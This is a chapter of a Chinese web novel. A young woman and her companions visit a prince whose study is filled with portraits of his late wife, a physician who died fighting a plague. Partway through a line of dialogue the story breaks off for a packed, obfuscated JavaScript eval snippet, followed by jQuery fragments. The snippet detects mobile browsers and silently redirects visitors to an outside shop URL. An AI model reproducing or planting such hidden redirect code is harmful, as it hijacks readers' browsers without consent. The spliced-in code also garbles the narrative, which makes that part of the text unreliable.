24. 这意味着什么
    少年肩宽,将月色遮盖。

    淡薄的灰色落下来,把林见微眸色半掩,他垂眸时,瞧不见里面的水润光泽,只能看见青沉的一片,如山间风雨欲来时的天幕。

    埋藏着令人心悸的暗涌。

    “为何?”秦著没动,浓绿的眼眸紧盯着她的脸庞追问,“我不是你的男宠,没有必要做这件事情。”

    林见微笑了:“谁说我把你当男宠了。”

    少年不说话,只是盯着她。

    “秦著。”她往前挪了挪,脸侧就是少年窄瘦的腰肢,被带着鹿皮的腰带勒得很紧,足以勾勒出单薄衣袍下的肌肉。

    顺着腰带往上看,可以瞥见一点雪色落在少年眼眸中,将碧色晕染开一小片。

    对光照玉一样,剔透好看。

    她试探探手,伸出食指将秦著的腰带勾住,慢慢直起身,待视线平直,恰好对着那领口紧紧掩好的锁骨处。

    眼眸中的喉结上下滚动,与那张八风不动的脸形成鲜明比对。

    “我……”

    一个字刚出口,少年就反手将她手腕扣住。

    ——隔着宽松袍子的衣袖。

    “你累了。”

    他撇开眼,垂眸看着窗台一角。

    “睡吧。”

    不等她有所回应,便干脆利落飞掠离开,不留一点儿痕迹在雪地上。

    林见微看着月光映照的雪色,又看看自己还带着温热气息的手指,指甲盖上似乎还残留少年绷紧的肌肉触感。她心情甚好地把窗关好,安心歇息去。

    翌日。

    六王爷郑肃十分善解人意地让管家带着他们先熟悉一下盛京城,并没有急着让她们雕刻人像。

    不过,陶夭夭和叶蓁蓁对待自己的手艺,都是严谨苛刻的工匠,大致熟悉了四周便让管家带她们去买卖木料的地方。

    初次到来盛京的林见微,也与秦著一起跟上,熟悉熟悉盛京。毕竟,她还要在这里待上至少两年,才足以让自己的身体康健起来。

    不过——

    之前还想着要藏在侯府后宅,避免麻烦,如今有六王爷相助,她似乎也不太必要淌进侯府去。

    深宅后院总归复杂。

    容后看看。

    她左右两边看着长街盛况,不时就问管家一些有关地段、人流和铺金的情形。

    管家估摸着她大概想要自己做生意,于是说得更详细,甚至将盛京哪个坊一般有哪些生意,那些生意又可以引去哪些身份的人都说了。

    格外热切。

    含笑听着的林见微,忽地对王府手下的人有了更深刻的认识。

    她撩起厚重的帘子看街景,并不理会拍打进来的风雪黏了自己一身。

    马车最终向着城南驶去,那里有着全盛京最大的木料贸市,可以让姐妹俩挑到合乎心意的木头。

    “王爷想要做的雕像,是要入墓葬,还是留在身边?”陶夭夭并不避讳地问起这件事情。

    大周皇室礼,七年后的第二次葬礼,要用人俑入墓,寓意割断红尘,生人与死人都得开启新生活,不要沉溺过去。

    一般而言,人俑都是用黏土特制,从未听说过用木雕替代。

    “王爷的意思是,要将雕像留下。”管家胡子花白,面目慈祥,一笑更显得和蔼,“人俑自有宗人府制造,不需要他费心。”

    陶夭夭点头,倒也没察觉不对。

    她是平头老百姓,不懂皇室的诸多繁杂礼节,也不明白这些礼节遵守的意义何在,自然也不会明白,郑肃这等与皇家礼节相悖的举动,是多么逆道而行。

    是故。

    再见郑肃,瞧见他斜靠在圈椅里,撑着额角一脸疲惫,林见微也丝毫不见怪。

    逆道而行,总归是要付出相应代价的。

    “草民见过六王爷。”

    一众人行礼的动静,将闭眼小憩的郑肃唤醒。

    他正身,呼了一口气,才换上温和亲切的笑意:“不必多礼,以后不在外头,可以省省这些俗礼。”

    她们沉默,倒是不敢。

    若是被抓住过错,挨了板子她们可没地方哭。

    “听闻你们前两日已将木料选好?”郑肃请她们落座喝茶。

    袅袅茶香伴着旁边鹤嘴吐出来的香料缠绕向上,满室都是好闻舒适的气味。

    令人心旷神怡。

    老管家比管家还要热情,慈祥和蔼的笑脸连同一盘盘糕点奉上,将手边的高案摆得毫无空隙。

    林见微垂眸接过茶盏,闻出里面的香料成分,轻而易举便知晓,他定有头疾,且难眠。

    “确实。”她呷了一口便捧着,“夭夭和蓁蓁都是勤快的人,闲不下来。”

    她也觉得不找点儿事情做无趣,对方选木料她就挑香料,准备做一些香粉售卖。

    郑肃:“既然如此,郑伯——”

    站在他背后的老管家躬身而出。

    “王爷。”

    “去书房……”话刚开头,他又摆摆手,“不了,还是我带你们去吧。”

    他起身,接过老管家递来的手炉,又裹上厚厚的裘衣,笑着给她们提前声明:

    “小王书房分两处,带你们去的那一处,满室都垂挂了画卷,画的全是意如,希望你们不要被吓到。”

    他格外思念亡妻时,便会作画,不知不觉,三五年便画了一室,落脚的地方都难寻。

    初时,谁也没有把这句话放在心上。

    画卷而已,有什么吓人的,能比面对马匪可怕?

    然,等到门扇推开,满室栩栩如生的人像随着风轻飘,好像要从画像里跳出来一样,她们便不再这样想。

    重要的是——

    三人看看画像,又看看林见微,脸上的神色,都像是见了鬼一样。

    这世间,当真有这么相似的人?

    画像中的人若是点上眉头一粒红痣……

    秦著向来没有什么波动的眼眸都晃荡了几下,忍不住看向少女。

    ——她,知道这意味着什么吗?

    林见微脸色毫无所动,只是由衷赞叹一句:“好画,王爷神技。”

    此话,她难得不掺杂任何私心。

    郑肃眸中怔愣散开,笑道:“多谢小友夸赞。”他转眸看着画卷,眼里柔情如春水,温和中染上缱绻,“我梦醒时来,也常常将画中人错认,以为意如还在我身边陪着我。”

    清醒过来时,反而觉得不真实。

    陶夭夭心里憋不住事情,许是眼前人的温和让她放下紧张戒备,不禁脱口道:“六王爷你不会将师父姐姐当成王妃了吧。”

    一言出,人皆静。

    老管家不由斥责出口:“大胆!”

    怒喝两字,他又禁不住看林见微一眼,见对方安然不动,挂着浅淡笑意的容色依然。

    叶蓁蓁赶紧拉着她跪下请罪,却被郑肃两头拦了。

    “不打紧。”温润如玉,似春江照柳一般的郑肃脸上挂着柔和的笑意,“我要你们做雕像,便是看重你们连神韵都复刻的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255275|138598||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    技艺。倘若你们不清楚意如的事情,又怎能做出独带神韵的雕像。”

    没有神韵的雕像,便不是意如的雕像。

    见两人还跪着,他脸上浮出一丝无奈。

    “两位小友,莫不是要小王这孱弱的身躯将你们扶起来?”

    他语气中带着些打趣,将陶夭夭刚才的无礼轻飘飘揭过。

    “不敢。”叶蓁蓁赶紧拉着陶夭夭起身。

    这下,陶夭夭不敢乱说话了。

    “外头冷,开着门也容易将画卷吹乱,不知诸位是否介意换过木屐入内,容小王细细道来?”

    大家都不介意,入侧室换过木屐,烤了一阵火,赶走身上风霜,才走进那满是画卷的书室。

    林见微走近,看画上女子捻药材的手指。

    那根手指细长,却并不算白皙,浅浅麦色,染了药材的碎屑,还可以看到掌心明显的茧子。

    “王爷是用工笔画的王妃?”

    “嗯。”郑肃伸手将被风吹歪的画卷正过来,看着画卷中认真挑拣药材的人,笑着说道,“我妻是医师,她救过我的命。”

    画上的人太过专注,并不知一缕发丝滑落,点在眉梢。

    郑王爷伸手想要为她拂去,没能拂动。

    他垂手,揣进袖管中。

    “她是为百姓牺牲的,三城的百姓。我虽为她骄傲,可也难过她治愈了一城的人,却没能救下自己。”

    “太医呢?”林见微转眸,看向他。

    郑肃轻轻摇头:“意如入城,虽是救长河一带染了疫病的老百姓,她本人却是劳累加试药高积药毒而亡,血气亏虚,五脏皆损,并非因为什么疫病。”

    “我听过这件事。”林见微重新看向画像中的女子,“长德府德州三城,曾在六年前发生过一场重大疫病,朝廷决意要闭城时,一位自称无名的医师说,她能想办法,再给她一个月的功夫,她定能解决那场疫病,若不能,便与三城共存亡。”

    此事流传到宁州,她爹娘像疯了一样,闭关研制药物一个月。

    她记得再清楚不过了。

    “是呀——”郑肃回想往事,长长叹出一口气,“那时,还是我亲自带兵,将三城围起来,若她不能出来,便只能一起烧了。”

    听此言,陶夭夭和叶蓁蓁瞪大了眼,觉得决策之人未免有些残忍。

    秦著脸色不变,绿眸沉沉,看不出想法。

    郑肃解释:“此事,是我请命,与任何人无关。”

    他当时,不过存了心与妻子共进退。

    “王爷和王妃天皇贵胄,本不必用自己性命去搏。”林见微走了几步,看另一画卷。

    新画卷上,柳意如在煮药,脸上一道道浅灰,汗珠滚滚,却毫不在意,只一心从氤氲雾气中看着瓦煲里的药,布衣也难掩秀色。

    “享皇室厚禄,更该做这件事情。”郑肃并不这样想,“再者——”他跟着移步,看画中人扇火,“意如想做这件事情。她从小学医,为的就是悬壶济世,医病救人。

    “她生来先是她,是她想要成为的医师,其次才是我的妻子。

    “我乃后来者,又怎能求她舍弃自己,只套上王妃的壳子。”

    林见微眸子落在以瘦弱手臂,推着板车孤身入城的身影上,定了定。

    她说:“她是个好医师。”

    真正的医师。

    郑肃眉眼缱绻,也看向那背对他,头也不回入城的影子。

    “嗯。”

    “她一生如是。”